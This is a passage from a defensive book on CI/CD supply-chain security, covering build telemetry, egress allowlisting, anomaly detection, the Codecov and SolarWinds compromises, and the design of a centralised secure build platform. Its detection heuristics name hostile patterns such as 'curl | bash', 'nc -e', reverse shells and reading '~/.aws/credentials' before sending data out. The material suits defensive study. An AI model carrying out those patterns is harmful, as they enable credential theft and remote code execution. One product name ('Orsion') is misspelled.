The previous four sources watch the build *process*; this one watches the build *output*. Two signals:

- **Provenance mismatch.** If you produce SLSA provenance (Chapter 3) attesting the builder, the source commit, and the build parameters, then a downstream verification step that *fails* — the artifact's digest does not match any signed attestation, or the attestation names a builder or a source you do not expect — is a tamper alarm. Provenance verification is not only a gate; run continuously across your artifact fleet, it is a **standing tamper-detection system**.
- **Reproducibility divergence.** Chapter 2 argued for hermetic, reproducible builds. Reproducibility has a detection corollary that Chapter 2 flagged and we develop below: if a build is *supposed* to be bit-for-bit reproducible and an independent rebuild produces a *different* output, something changed that should not have — a compromised builder, a poisoned cache, an implant. The unexpected *non-reproducibility* is the signal.

6. Dependency-resolution anomalies — what got pulled in

Finally, the build's inputs. Book 2 covered dependency-confusion and malicious-package attacks at length; the detective view here is: did *this* build resolve dependencies differently than it usually does? Signals include a **new or unexpected dependency** appearing in the resolved graph, a **resolution change** (a version or registry source that shifted without a lockfile change), and **install-script execution** — an npm `postinstall`, a `pip` build hook, a Gradle init script running code at

dependency-install time. A lockfile diff and an install-script inventory are cheap telemetry that catch a whole class of Book 2 attacks at build time.

Telemetry source → what it detects → tooling

Telemetry source	What it detects	Representative tooling
CI/CD audit logs	Config/permission/secret changes; new self-hosted runner; workflow edits	GitHub/GitLab audit log streaming, Jenkins Audit Trail → SIEM
Process / syscall (eBPF)	Unexpected shell, process tree deviation, sensitive-file reads	Falco, Tetragon, Harden-Runner, Aqua, Sysdig
Network egress	Exfiltration, C2, connection to non-allowlisted host	Harden-Runner, Falco (network rules), Cilium/Tetragon, egress proxy logs
Filesystem access	Secret/key access, tool/output tampering	Falco, Tetragon, Harden-Runner
Artifact / provenance	Tampered output, provenance/builder/source mismatch	SLSA verifier, cosign verify-attestation, in-toto
Reproducibility	Unexpected non-reproducible output (tamper/implant)	Independent rebuilder + digest compare (rebuilderd-style)
Dependency resolution	New/unexpected deps, resolution drift, install-script exec	Lockfile diff, OSV scanning, install-script inventory

Anomaly detection: three approaches that actually work

Given the telemetry, how do you turn it into an alert? There are three approaches, in increasing order of "sounds smart" and *decreasing* order of "actually works at CI scale." Use them in the opposite order to how they are usually pitched.

Approach 1: Egress allowlisting (the tractable one)

Start here because it works. An **egress allowlist** is a declared set of hosts a build is permitted to contact; any connection outside the set is, at minimum, alerted and, ideally, blocked. This is both a preventive control (Chapter 8) and the single most tractable anomaly detector in the build, for one structural reason: **known-good egress is small and stable**. A production service might legitimately talk to hundreds of endpoints; a hermetic build (Chapter 2) talks to a handful, and a *fully* hermetic build talks to *one* — the content-addressed dependency store — because everything else was resolved and vendored before the build began.

That is the deep connection between Chapter 2 and this chapter: **hermeticity shrinks the normal set until anomalies have nowhere to hide**. The more hermetic the build, the smaller the allowlist, the higher the signal-to-noise of any deviation. A build that should only ever contact your internal proxy, caught contacting an external IP, is not a subtle statistical anomaly requiring machine learning — it is a boolean rule with near-zero false positives.

```
flowchart TD
    C["Build step opens\noutbound connection"] --> Q{"Destination\nin\negress allowlist?"}
    Q -->|Yes| OK["Permit + log"]
    Q -->|No| MODE{"Enforcement mode?"}
    MODE -->|Audit| A["Alert:\nunexpected egress\n(host, step, process)"]
    MODE -->|Block| B["Drop connection\n+ alert"]
    A --> SIEM["SIEM / IR"]
    B --> SIEM
```

Operationally: run in **audit mode** first to *learn* the legitimate set (this is how Harden-Runner's "recommended policy" is generated), review the learned set, promote it to an allowlist, then move to **block mode**. Audit mode is itself detection — you are watching what the build reaches for — and block mode converts detection into prevention without changing the data model.

Approach 2: Behavioral baselining per pipeline

Egress is the easiest dimension to baseline, but the same idea generalizes. A **behavioral profile** for a pipeline is the learned answer to: what hosts does this build contact? what processes does it run? what files

does it read and write? Build the profile from a window of known-good runs, then alert on deviation.

```
flowchart LR
    subgraph Baseline["Learned baseline (known-good runs)"]
        H["Hosts:\nregistry, source, artifact store"]
        PR["Processes:\ncc, ld, go, npm, test"]
        FL["Files:\nsrc/, build/, cache/"]
    end
    subgraph Run["This run"]
        H2["Contacts 203.0.113.9"]
        PR2["Spawns /bin/sh -> curl"]
        FL2["Reads ~/.aws/credentials"]
    end
    H -. compare .-> H2
    PR -. compare .-> PR2
    FL -. compare .-> FL2
    H2 --> DEV["Deviation:\nalert"]
    PR2 --> DEV
    FL2 --> DEV
```

Baselining is more powerful than a single allowlist dimension and correspondingly more work: you must handle *legitimate* drift (a new dependency that adds a compiler, a new registry mirror) without drowning in false positives every time a `package.json` changes. Two things make it survivable. First, **hermeticity** (again): a hermetic build's behavior is deterministic, so its baseline is tight and its drift is intentional and reviewable. Second, **standardization** (Chapter 10): if a thousand services build on one paved-road template, you baseline the *template*, not a thousand snowflakes, and any pipeline that deviates from the template's profile is interesting precisely because it deviates from the fleet norm. Baselining rewards uniformity, and uniformity is exactly what the paved road provides.

Approach 3: Signature and rule-based detection

The most familiar approach, and the one to reach for *last* as your primary strategy — not because it does not work, but because it detects only what you have already thought to write a rule for. Signature/rule-based detection matches events against known-bad patterns:

- **Falco rules** for build-relevant behavior: a shell spawned in a container, a sensitive file opened, an outbound connection on an

unexpected port, a package manager invoked at runtime, a process writing to a system binary directory.

- **Known-bad IOCs** — specific malicious IPs, domains, file hashes, or command patterns from threat intelligence.
- **Suspicious-command heuristics** — `curl ... | bash`, `base64-decode-then-execute`, `reverse-shell one-liners`, `nc -e`, `credential-file cat s` piped to a network tool.

Rules are precise and explainable, which is why they are excellent for *response* and *forensics* and for encoding the specific TTPs you have already seen. Their weakness is coverage: a rule that looks for `curl | bash` misses `wget | sh`, and an attacker who reads your rules writes around them. The right posture is **rules on top of baselines**: the baseline catches the *novel* (something this build has never done), and the rules catch the *known-bad* (something no build should ever do). The two are complementary, and neither alone is sufficient.

Detecting the specific attack classes

Abstract telemetry is only convincing when you can point it at a named attack. Here is the mapping from the attack classes developed across Chapters 4–7 to the concrete detection signals that reveal them.

Attack class (chapter)	What the attacker does	Detection signal	Primary source
PPE (Ch 4, 7)	Untrusted code executes in privileged CI context	Unexpected process/network from a build step; egress to non-allowlisted host; new process in tree	Process + egress (eBPF)
Secret exfiltration (Ch 6)	Read secrets/env, send them out	Sensitive-file/env access correlated with outbound connection to unknown host	Filesystem + egress

Attack class (chapter)	What the attacker does	Detection signal	Primary source
Cache poisoning (Ch 7)	Poison a shared cache a trusted build consumes	Output hash mismatch; reproducibility divergence; cache entry from untrusted writer	Artifact/ provenance + reproducibility
Artifact tampering (Ch 7)	Modify output post-build, pre-publish	Digest changes between build and publish; provenance verification fails downstream	Artifact/ provenance
Runner compromise (Ch 8)	Persist on / abuse a self-hosted runner	New runner registration; persistence artifacts; process behavior outside baseline across jobs	Audit logs + process
Malicious dependency (Book 2)	Pull a poisoned package; run its install script	New/unexpected dep; install-script execution; egress during install	Dependency + process + egress

Two of these rows deserve elaboration because they are where correlation, not any single source, does the work.

Secret exfiltration is a two-step act — *access* then *egress* — and each step alone is noisy. Builds read files constantly and builds make network connections constantly. The high-fidelity signal is the **correlation**: a step that reads a credential file *and then*, in the same step, opens a connection to a host outside the allowlist. Neither event is alarming alone; together they are the Codecov attack. This is why shipping telemetry to a *central* platform matters — correlation across sources is a query you run in the SIEM, not a property of any single agent.

Runner compromise is the attack that ephemerality is supposed to prevent (Chapter 8), and mostly does — a single-use runner destroyed after one job has no persistence surface. But not everyone runs

ephemeral runners, and the audit-log signal (new runner registration) plus cross-job behavioral consistency (does runner X behave the same way across the jobs it runs, or did its behavior change after some point in time?) is how you catch a persistent runner implant on the fleets that still run long-lived runners.

Reproducibility as detection

The most elegant detective control in the build is the one Chapter 2 built the foundation for: **independent rebuild and compare**. If a build is reproducible — same source, same inputs, byte-for-byte same output — then you can detect tampering *without ever inspecting the builder* by rebuilding the artifact on independent infrastructure and comparing digests.

```
sequenceDiagram
    participant Src as Source (pinned commit)
    participant B1 as Production builder
    participant B2 as Independent rebuilder
    participant Cmp as Comparator
    Src->>B1: build
    Src->>B2: rebuild (isolated, different infra)
    B1->>Cmp: artifact digest A
    B2->>Cmp: artifact digest B
    Cmp->>Cmp: A == B ?
    Note over Cmp: match -> no tamper detected
    Note over Cmp: mismatch -> builder/cache/implant compromise
```

This is not theoretical. Debian's reproducible-builds effort and the *rebuilderd* project operate exactly this pipeline at distribution scale: rebuild published packages independently and flag any that do not reproduce. Applied to your own build, an independent rebuilder that disagrees with your production builder means one of them was tampered with — and because SUNSPOT's whole trick was producing a *different* binary from the checked-in source, an independent rebuild from source would have produced the *clean* binary and the digest mismatch would have screamed. Reproducibility turns "trust the builder" into "verify the builder," continuously. The precondition is hermeticity (Chapter 2); the payoff is a tamper detector that needs no signatures and no rules.

The Codecov attack, in hindsight

Let us make the whole chapter concrete against the case that motivates it. What monitoring would have caught Codecov?

The malicious behavior, stripped to its network essence, was: the tampered Bash Uploader, running inside a customer's CI job, read the job's environment variables (secrets) and sent them via an outbound connection to an attacker-controlled host that the legitimate uploader never contacted.

```
flowchart TD
    U["Codecov uploader\nruns in CI step"] --> ENV["Reads\nenvironment\n(secrets, tokens)"]
    ENV --> OUT["Outbound connection\nto attacker host"]
    subgraph Monitored["With build observability"]
        OUT --> Q{"Host in egress\nallowlist?"}
        Q -->|No| AL["ALERT:\nunexpected egress\n+ prior secret read\n= exfiltration"]
        AL --> IR["Block / rotate / IR"]
    end
    subgraph Unmonitored["What actually happened"]
        OUT --> SILENT["No egress monitoring\n-> silent for ~2 months"]
        SILENT --> LUCK["Found by a customer's\nchecksum comparison"]
    end
```

Every layer of this chapter would have caught it independently:

- **Egress allowlisting** (Approach 1): the uploader contacted a host outside the tiny set a coverage upload legitimately needs. A boolean rule, near-zero false positives. This alone is decisive.
- **Correlation** (secret access + egress): the step read environment secrets *and then* phoned an unknown host. High-fidelity exfiltration signal.
- **Integrity verification** of the fetched tool: the discovery that *did* happen — a checksum mismatch between the downloaded uploader and Codecov's recorded checksum — is exactly source 5 (artifact/provenance), and it was performed by *one* customer, by hand, by luck. Pinning the uploader by digest and verifying it before execution (a preventive control) turns that lucky manual catch into an automatic gate.

The uncomfortable summary: Codecov ran for ~2 months and SolarWinds for months, and in both cases the signal existed the whole time. Detection

is not a matter of inventing new science. It is a matter of *collecting telemetry you can already collect and alerting on deviations you can already define*.

Operationalizing detection

A detection design that lives in a diagram catches nothing. Making it real means solving three operational problems: getting the telemetry *out* of ephemeral runners, routing the alerts to someone who will act, and keeping the false-positive rate low enough that they keep acting.

Ship telemetry out before teardown

This is the operational constraint ephemerality (Chapter 8) forces, and it inverts the usual logging posture. On a long-lived production host you can afford lazy log shipping — the disk persists, you can investigate later. On an ephemeral runner **there is no later**: the moment the job ends, the runner is destroyed and every process list, every open-file record, every connection log dies with it. The telemetry must be **streamed out in real time, during the job**, to a central platform, or it does not exist when you need it.

```
flowchart LR
    subgraph R1["Ephemeral runner (job 1)"]
        A1["eBPF agent"] --> S1["Log shipper"]
    end
    subgraph R2["Ephemeral runner (job 2)"]
        A2["eBPF agent"] --> S2["Log shipper"]
    end
    subgraph R3["Ephemeral runner (job N)"]
        A3["eBPF agent"] --> S3["Log shipper"]
    end
    S1 --> COL["Collector /\nlog pipeline"]
    S2 --> COL
    S3 --> COL
    COL --> SIEM["SIEM /\nlog platform"]
    SIEM --> DET["Detection +\nbaselines"]
    DET --> AL["Alerts"]
    R1 -. destroyed after job .-> X1["(gone)"]
    R2 -. destroyed after job .-> X2["(gone)"]
```

Concretely: run the eBPF agent (Falco, Tetragon, Harden-Runner) as a sidecar or DaemonSet co-located with the runner, and have it push events continuously to a collector — a Fluent Bit / Vector / OpenTelemetry

pipeline, or the agent's native sink — that lands them in a SIEM (Splunk, Elastic, Chronicle, a cloud-native log platform). Audit logs stream directly from the CI provider's streaming API. The design goal is that **when a runner is torn down, everything you would have wanted from it is already in the SIEM**. Ephemerality stops being an investigation-killer and becomes what it should be: a clean-slate guarantee for the *next* job, with full history preserved centrally.

Alerting, ownership, and integration with IR

Telemetry in a SIEM that nobody watches is theater. Two organizational commitments make it real:

- **Route build-security alerts to an owner.** In most orgs, build-security alerts fall in a gap: the security team does not own the build system, and the platform/CI team does not own security monitoring. Close the gap explicitly. The distributed-systems answer, developed below, is that the **build-platform team owns build-security monitoring the way an SRE team owns production observability** — it is their service, their telemetry, their alerts.
- **Wire alerts into incident response.** A confirmed build-security detection — unexpected egress correlated with secret access, a provenance verification failure, a rogue runner — is a supply-chain incident and must flow into the IR process (Book 8, Chapter 6), with the additional urgency that a build compromise has a *deploy-shaped blast radius*: whatever the build could sign or ship is potentially compromised. The runbook needs build-specific response steps: revoke and rotate the affected signing keys and CI credentials, quarantine the affected artifacts, and verify downstream consumers.

Keeping false positives survivable

Builds are noisy (constraint 1); a detection system that cries wolf gets muted, and a muted system detects nothing. Two levers, both already in your hands, hold the false-positive rate down:

- **Hermeticity.** A hermetic build's normal behavior is deterministic and small, so its "unexpected" set is genuinely unexpected. Non-hermetic builds have sprawling, drifting normals that generate false positives every time a transitive dependency changes what it reaches for. Every step toward hermeticity (Chapter 2) is also a step toward a quieter, more trustworthy alert stream.

- **Good baselines and audit-then-enforce rollout.** Never ship a build-detection rule straight to blocking or paging. Run it in audit mode, watch what it flags for a representative window, tune the baseline, *then* enforce. This is not just hygiene; it is how you learn the legitimate normal that makes the anomalies stand out.

Hermeticity thus pays a triple dividend: it enables reproducibility-as-detection, it shrinks the egress allowlist, and it suppresses false positives. It is the single technical decision that most improves your detection posture, which is why Chapter 2 came before this one.

Posture and metrics: measuring the detective controls

Detection is not only real-time alerting; it also has a *posture* dimension — are the controls even present and configured correctly across the fleet? — and a *measurement* dimension — how good is our detection, quantitatively?

CI/CD security posture management (CSPM-for-CI)

A category of tools has emerged to answer "is my CI/CD *configured* securely, everywhere?" — call it **CI/CD security posture management**, the pipeline analogue of cloud CSPM. It scans pipeline configurations for the misconfigurations covered in Chapters 4–5 (over-privileged tokens, unpinned actions, `pull_request_target` foot-guns, missing branch protection, secrets in plaintext), detects **drift** from a hardened baseline, and reports **coverage** of hardening controls across every repo and pipeline. Vendors in this space include **Legit Security**, **Arnica**, **Cycode**, and **StepSecurity**, among others; described honestly, they are a *category* — continuous scanning of your SCM and CI configuration for supply-chain misconfiguration and drift — and you should evaluate them on coverage of the specific control set this book describes rather than on marketing. The posture tool answers "is the wall built and standing"; the runtime telemetry answers "is something climbing over it right now." You need both.

Detection coverage and MTTD

Two metrics turn detection from a vibe into a program:

- **Detection coverage** — of the attack classes in the table above (PPE, secret exfiltration, cache/artifact tampering, runner compromise, malicious dependency), *which can we actually detect today?* Map each attack class to the telemetry source and rule that would catch it, and mark the gaps honestly. A coverage matrix is a far more useful security artifact than a count of alerts, because it tells you what you are *blind* to. The Codecov lesson, expressed as a metric: an org with egress-monitoring coverage of the exfiltration class had a detection; an org without it had a two-month blind spot.
- **MTTD for build compromise** — mean time to *detect* a build compromise. SolarWinds and Codecov had MTTDs measured in months, and the detection was exogenous (a customer). The goal of everything in this chapter is to drive build-compromise MTTD down to the timescale of a single build run, and to make the detection *endogenous* — your telemetry, not your customer's incident.

Track coverage and MTTD the way you track SLOs. They are the numbers that tell you whether the detective controls are real.

Distributed-systems lens

At the scale this book assumes — hundreds to thousands of pipelines, many teams, high build frequency — build observability is not a per-repo feature you toggle. It is a **fleet-wide data platform**, and it has the same shape as production observability:

- **It is a real data pipeline.** Telemetry — audit logs, eBPF process/syscall events, egress records, provenance state — flows from thousands of ephemeral runners into a central detection platform, gets normalized, correlated, and evaluated against baselines and rules, and emits alerts into IR. This is an ingestion, storage, and stream-processing problem with the same engineering demands as any high-volume telemetry pipeline you already operate: backpressure, sampling, retention, cost. Design it as such. The ephemerality constraint makes real-time shipping non-negotiable — there is no batch-collect-later option when the source host is destroyed after every job.

- **Standardization makes baselining tractable.** This is the payoff the paved road (Chapter 10) hands to detection. When a thousand services build through *one* hardened, hermetic template, they share *one* normal behavioral profile. You baseline the template once; every pipeline that deviates from the template's egress set, process tree, or file-access pattern is anomalous *precisely because it deviates from the fleet norm*. Uniform builds have uniform normal behavior, and uniformity is what makes anomalies visible. A fleet of snowflakes has no shared normal and therefore no tractable anomaly detection — which is one more reason the paved road is a security investment, not just a developer-experience one.
- **Egress allowlisting is the single highest-value fleet control** — it is preventive and detective at once, its normal set is small and stable (especially under hermeticity), its false-positive rate is low, and it directly catches the exfiltration/C2 step that virtually every serious supply-chain attack requires. If you can do exactly one thing across the fleet, do egress allowlisting.
- **Provenance verification is continuous, fleet-wide tamper detection.** Every artifact carrying SLSA provenance (Chapter 3), verified at every consumption point (Book 5, Chapter 8; Book 6 admission), is a standing integrity check. Run across all artifacts, a provenance mismatch anywhere in the fleet is a tamper alarm — detection that scales with the number of artifacts rather than requiring a new rule per attack.
- **The build-platform team owns build-security monitoring** the way an SRE team owns production observability. This is the organizational keystone. Build-security telemetry, baselines, alerts, and the MTTD/coverage metrics are the build platform's *service-level responsibility*, on-call and all — not a security-team afterthought bolted on from outside, and not an unowned gap between two teams. The team that operates the build as tier-0 infrastructure operates its observability, because you cannot run a tier-0 service you cannot see.

Key takeaways

- **Prevention is never complete; you must also detect.** Every control in Chapters 2–8 can be bypassed or drift out of configuration. Detective controls — watching the build while it runs — are what tell

you when prevention failed. Instrument the build like production, because it *is* production: tier-0 infrastructure with a deploy-shaped blast radius.

- **The canonical build compromises were not caught by monitoring.** SolarWinds (build implant, ran for months) and Codecov (tampered uploader, ~2 months) were both found by luck and customers, not by the victim's telemetry — even though the malicious behavior was observable the whole time. The gap was collection and alerting, not science.
- **Six telemetry sources form the portfolio:** CI audit logs (who changed the build system; new self-hosted runner = red flag), eBPF process/syscall events, network egress, filesystem access, artifact/provenance state, and dependency resolution. The strongest detections correlate across two or more — secret exfiltration is *file access + egress*, not either alone.
- **Egress allowlisting is the highest-value control** and the most tractable anomaly detector: known-good egress is small and stable, especially under hermeticity, so deviation is a near-zero-false-positive boolean rule. It is preventive and detective with one data model. It would have caught Codecov outright.
- **Use baselines first, rules second.** Behavioral baselining catches the *novel* (something this build has never done); signature rules (Falco, Tetragon, IOCs) catch the *known-bad* (something no build should ever do). Neither alone suffices; hermeticity and standardization make both tractable.
- **Reproducibility and provenance are tamper detectors.** An independent rebuild that disagrees on the digest, or a provenance verification that fails downstream, detects tampering without inspecting the builder — continuous integrity checking that would have exposed SUNSPOT's swapped binary.
- **Ephemerality forces real-time shipping.** A destroyed runner cannot be investigated later; stream telemetry to a central SIEM *during* the job. Own the alerts (build-platform team, like SRE owns prod), wire them into IR, and keep false positives survivable through hermeticity and audit-then-enforce rollout.
- **Measure it.** Detection coverage (which attack classes can we catch?) and build-compromise MTTD are the SLOs of the detective

program. The goal is endogenous detection at single-build-run timescale, not a customer's incident two months later.

Further reading

- **CISA / Mandiant (FireEye) — SolarWinds SUNBURST and SUNSPOT analysis.** CrowdStrike's technical write-up of the SUNSPOT build implant details the source-substitution-at-compile-time mechanism and the anti-detection engineering. Search for "SUNSPOT: An Implant in the Build Process."
- **Codecov — post-incident disclosure and security bulletin (April 2021).** The company's own account of the Bash Uploader modification, the credential origin, the ~2-month window, and the customer checksum discovery. See also the SEC/press coverage for scope.
- **eBPF** — the kernel mechanism underlying modern runtime security. <https://ebpf.io>. Read this before the tool docs; it explains what all of the agents share.
- **Falco** (CNCF) — rules engine over syscall events. <https://falco.org>. See the default ruleset for concrete build-relevant rules (shell in container, sensitive file read, unexpected outbound connection).
- **Tetragon** (Cilium) — eBPF process and syscall observability with in-kernel filtering and enforcement. <https://tetragon.io>.
- **StepSecurity Harden-Runner** — egress control and runtime detection for GitHub Actions runners. <https://github.com/step-security/harden-runner>. The audit-then-block egress model in practice.
- **GitHub — Audit log streaming** and **GitLab — Audit events** — the control-plane telemetry to stream to your SIEM. <https://docs.github.com/organizations/keeping-your-organization-secure/managing-your-organizations-audit-log>.
- **SLSA v1.0 — Threats & mitigations and Provenance.** Provenance verification as a detective control. <https://slsa.dev/spec/v1.0/threats> and <https://slsa.dev/provenance/v1>.
- **Reproducible Builds** and **rebuilderd** — independent rebuild-and-compare as tamper detection at distribution scale. <https://reproducible-builds.org> and <https://github.com/kpcyrd/rebuilderd>.

- **OWASP Top 10 CI/CD Security Risks (2022)** — the attack taxonomy this chapter's detection maps back to. <https://owasp.org/www-project-top-10-ci-cd-security-risks/>.
- Book 1, Chapter 3 (SolarWinds / build-system compromise) and Chapter 9 (build system as tier-0, blast radius); Book 2, Chapters 3–4 (malicious packages and dependency confusion); Book 4, Chapter 2 (hermetic and reproducible builds), Chapter 3 (SLSA provenance), Chapters 4–7 (platform threats, hardening Actions, secrets, pipeline poisoning), Chapter 8 (ephemeral runners and egress control), Chapter 10 (the paved-road secure build platform); Book 5, Chapter 8 (provenance verification); Book 6 (image signing and admission control); Book 8, Chapter 6 (incident response). ``

Chapter 10 — Designing a Secure Build Platform at Scale

What this chapter covers. The previous nine chapters took the build system apart control by control: the threat model (Ch 1), hermeticity and reproducibility (Ch 2), SLSA provenance (Ch 3), the CI/CD platform attack surface (Ch 4), hardening GitHub Actions (Ch 5), secret handling with workload identity (Ch 6), pipeline poisoning and the trusted/untrusted split (Ch 7), ephemeral isolated runners (Ch 8), and build observability (Ch 9). Each was presented as a technique a team *could* apply. This capstone argues that at organizational scale you must not ask teams to apply them at all. You build a **platform** that applies them automatically, and you make that platform the single, default, easiest way to turn source into a shipped artifact — the **paved road** for builds. This chapter is the reference design: how the controls compose into one hardened, multi-tenant system; how tenants inherit security "for free"; how you drive hundreds of bespoke pipelines onto it without a revolt; how you govern it with policy-as-code; how you measure and operate it as tier-0 infrastructure; and how you avoid the failure modes that turn a security platform into shadow-CI bait. It is opinionated on purpose. A staff engineer who has to actually build this needs decisions, not a menu.

Learning goals — after this chapter you should be able to:

- Make the **centralize-don't-distribute** argument precisely: why a shared hardened build platform beats N teams each securing their own build, and what the platform trades away (concentration of trust) for what it buys (a raised floor and a shrunken aggregate attack surface).
- Draw the **end-to-end secure build platform** — source integrity → hermetic isolated build → provenance + SBOM + signing → registry → verified deploy — with the platform trust boundary and the tenant model, and explain which guarantees each stage contributes.
- Design the **paved road**: golden reusable-workflow templates, a `build` abstraction that hides the security machinery, secure defaults, and self-service onboarding, so teams get security by *using* the platform rather than by *studying* it.
- Plan a **migration** off hundreds of legacy pipelines using warn-then-enforce, incremental control rollout, and accountable escape hatches instead of hard walls.
- Govern the platform with **policy-as-code**, express "everything built here is SLSA Build L3" as an enforced platform property, and instrument the **adoption** and **coverage** metrics that tell you whether any of it is working.
- Run the platform as **tier-0**, including securing *its own* supply chain — the "who builds the builder" recursion — with an anchored, minimal, verifiable trusted computing base.

The thesis: centralize build security, do not distribute it

Start with the counterfactual, because it is the status quo almost everywhere. A large backend org has hundreds of services, hundreds of repositories, and dozens of teams. Each team owns its pipeline. Each pipeline is a snowflake: a `.github/workflows/` directory or a `.gitlab-ci.yml` or a Jenkinsfile, accreted over years, copied from whatever example the first engineer found, edited by a dozen hands, and understood in full by no one. Ask any single team to implement the controls of this book — pin every action to a SHA (Ch 5), scope every token to least privilege (Ch 6), split trusted from untrusted execution (Ch

7), run on ephemeral isolated runners (Ch 8), emit SLSA provenance and an SBOM and a signature for every artifact (Ch 3, Book 3 Ch 4, Book 5) — and a good team will do maybe half of it, once, and let it rot. Multiply that by a hundred teams and you have a hundred independent, inconsistent, decaying security postures. The org's build security is the **minimum** across all of them, because an attacker picks the weakest pipeline that ships to the same production. This is the distributed-systems reality Book 1, Chapter 9 named: in a system of many services, blast radius is a property of the *whole*, and security is bounded by the *worst* component, not the average.

The alternative is to stop treating build security as something every team implements and start treating it as something the org *provides*. Build one hardened build platform. Make it own the isolation, the hermeticity, the secret handling, the provenance, the signing, the egress control, and the monitoring. Then make it the default: the path of least resistance for shipping code is to use the platform, and using the platform confers all of those controls without the tenant doing anything security-specific. This is the **paved road** — a term from Netflix's platform engineering vocabulary, but the idea is older than the phrase. *The secure path must be the default path and the easiest path*. Any security architecture that depends on every engineer choosing the hard, correct option over the easy, wrong one has already failed; humans under deadline pressure route around friction. The only durable way to raise a floor is to move the floor, so that the easy thing is also the safe thing.

The trade you are making is explicit and worth stating plainly, because it is the reason some engineers resist centralization. A shared build platform **concentrates trust**. Every artifact the org ships now passes through one system. Compromise that system and you compromise everything — this is exactly the SolarWinds pattern (Book 1, Chapter 3): the attackers did not compromise Orsion's source, they compromised the *build*, and because that build produced signed releases for thousands of downstream customers, one build-system foothold became one of the widest-reaching intrusions on record. A centralized build platform is a strictly higher-value target than any one team's pipeline. You must accept that and respond to it: **the build platform is tier-0 infrastructure**, defended, monitored, access-controlled, and DR-planned at the same level as your identity provider, your KMS, and your production Kubernetes control plane. We return to this at length below.

But the concentration argument cuts both ways, and the net is strongly positive. Yes, you create one high-value target. In exchange you **eliminate a hundred low-value ones** and shrink the aggregate attack surface enormously. A hundred snowflake pipelines is a hundred configurations to get wrong, a hundred sets of long-lived secrets to leak, a hundred runner fleets to leave un-isolated. One platform is one configuration, audited by specialists, with one secret model, one runner fleet, one egress policy — a small, concentrated, intensely-monitored surface a dedicated team owns and can actually defend, instead of a large, diffuse, un-monitorable one no one owns. Defenders get economies of scale individual teams never will: hardening one platform to SLSA L3 is finite; hardening a hundred pipelines to L3 is a hundred times that and never finishes. Concentration is what makes rigorous defense *affordable*.

The build platform as a product

The organizational framing that makes this work: **the build platform is a product, and it has customers**. The platform team is the owner. The application teams are tenants — customers who consume a build service and ship faster because they no longer maintain pipeline plumbing. Security is a partner, not the owner: security defines the required controls and audits coverage, but the platform team builds and operates the thing, with the same product disciplines as any internal platform — SLAs, on-call, a roadmap, docs, self-service onboarding, and a support channel.

This framing is not decoration; it changes what you build. A product exists to be *adopted*, and adoption is voluntary in spirit even when it becomes mandatory in policy. If the platform is worse than what a team already has — slower, less flexible, more painful to onboard — teams will resist, route around it, and build shadow CI (more on this failure mode at the end). So the platform must be a genuinely *better* way to build, not merely a *more secure* one. The security is the part the tenant does not see and does not pay for in friction; the speed, the caching, the "it just works" onboarding is the part they came for. Security rides in on the back of a product teams actually want. Get that ordering wrong — lead with the security mandate, ship a worse developer experience — and no amount of policy enforcement saves you.

The reference architecture

Here is the whole book, composed into one system. Every stage maps to a chapter; the platform's job is to own each stage so the tenant inherits it.

```

flowchart LR
    subgraph Tenant["Tenant repo (application team)"]
        SRC["Signed commits,  
branch protection,  
CODEOWNERS  
(Book 7)"]
        CFG["Thin build config:  
uses: platform/build@vX"]
    end

    subgraph Platform["SECURE BUILD PLATFORM – tier-0 trust boundary"]
        direction TB
        TRIG["Trigger + trust classifier  
(trusted vs untrusted, Ch 7)"]
        subgraph Exec["Ephemeral isolated build (Ch 2, Ch 8)"]
            RUN["Single-use runner,  
hermetic inputs,  
egress-controlled (Ch 8-9)"]
            WID["Workload identity /  
OIDC, no static secrets (Ch 6)"]
        end
        PROV["Provenance generator  
SLSA L3 (Ch 3)"]
        SBOM["SBOM generator  
(Book 3 Ch 4)"]
        SIGN["Keyless signing  
Fulcio/Rekor (Book 5)"]
        OBS["Telemetry + anomaly  
detection (Ch 9)"]
    end

    subgraph Downstream["Downstream"]
        REG["Internal registry  
(Book 2 Ch 8, Book 6 Ch 2)"]
        ADM["Admission / deploy gate:  
verify signature +  
provenance + policy  
(Book 5 Ch 10, Book 6 Ch 6)"]
        PROD["Production"]
    end

    SRC --> CFG --> TRIG --> RUN
    WID -. -> RUN
    RUN --> PROV --> SIGN
    RUN --> SBOM --> SIGN
    RUN -. -> OBS
    SIGN --> REG --> ADM --> PROD
    ADM -. "reject unverified" .-> STOP["Blocked"]

```

Read the diagram left to right as a chain of custody, and notice that the tenant's contribution is tiny: signed source and a one-line build config. Everything inside the platform boundary is provided.

Source integrity (Book 7). The chain begins before the platform: the platform builds only from source whose integrity is established upstream — signed commits (Book 7, Chapter 2), enforced review and two-person rules on protected branches (Book 7, Chapter 3), and CODEOWNERS coverage extended to the files the pipeline *executes*, not just the workflow file (the indirect-PPE lesson of Chapter 7). The platform's first act is to fetch a specific, immutable commit by digest and record which commit it built. It never builds mutable references.

Trust classification and the trusted/untrusted split (Ch 7). Every trigger is classified. A push to a protected branch by a maintainer is *trusted* and may run with signing identity and deploy- adjacent capability. A pull request from a fork is *untrusted* and runs in a context with **no secrets, no signing identity, read-only cache, and no deploy reach** — it can compile and test but cannot produce a releasable, signed artifact. This split is the single most important structural control against pipeline poisoning (Ch 7, CICD-SEC-4), and centralizing it means no team can accidentally opt out of it. In a bespoke pipeline the split is one careless `pull_request_target` away from collapse; in the platform it is a property of the execution model.

Hermetic, ephemeral, isolated build (Ch 2, Ch 8). The build runs on a **single-use** runner — provisioned per job, destroyed after, so nothing persists between builds and one tenant's build cannot observe or poison the next (Ch 8). Inputs are hermetic: declared dependencies fetched from controlled mirrors with pinned digests, no arbitrary network fetches during the build (Ch 2). **Egress is controlled** — the runner reaches only an allowlist of package mirrors and the platform's own services, so a poisoned dependency cannot exfiltrate to an attacker endpoint, and the attempt is logged (Ch 8, Ch 9). Hermeticity also buys reproducibility, which is the independent check on the provenance that comes next.

Workload-identity secret handling (Ch 6). The build holds **no long-lived secrets**. When it needs to authenticate — to push to the registry, to sign — it exchanges its short-lived OIDC token from the platform's identity for a scoped, minutes-long credential (Ch 6). There is no `REGISTRY_PASSWORD` in an environment variable to leak; the identity is the

runner's, ephemeral and attested, and least-privileged to exactly the push target for this tenant.

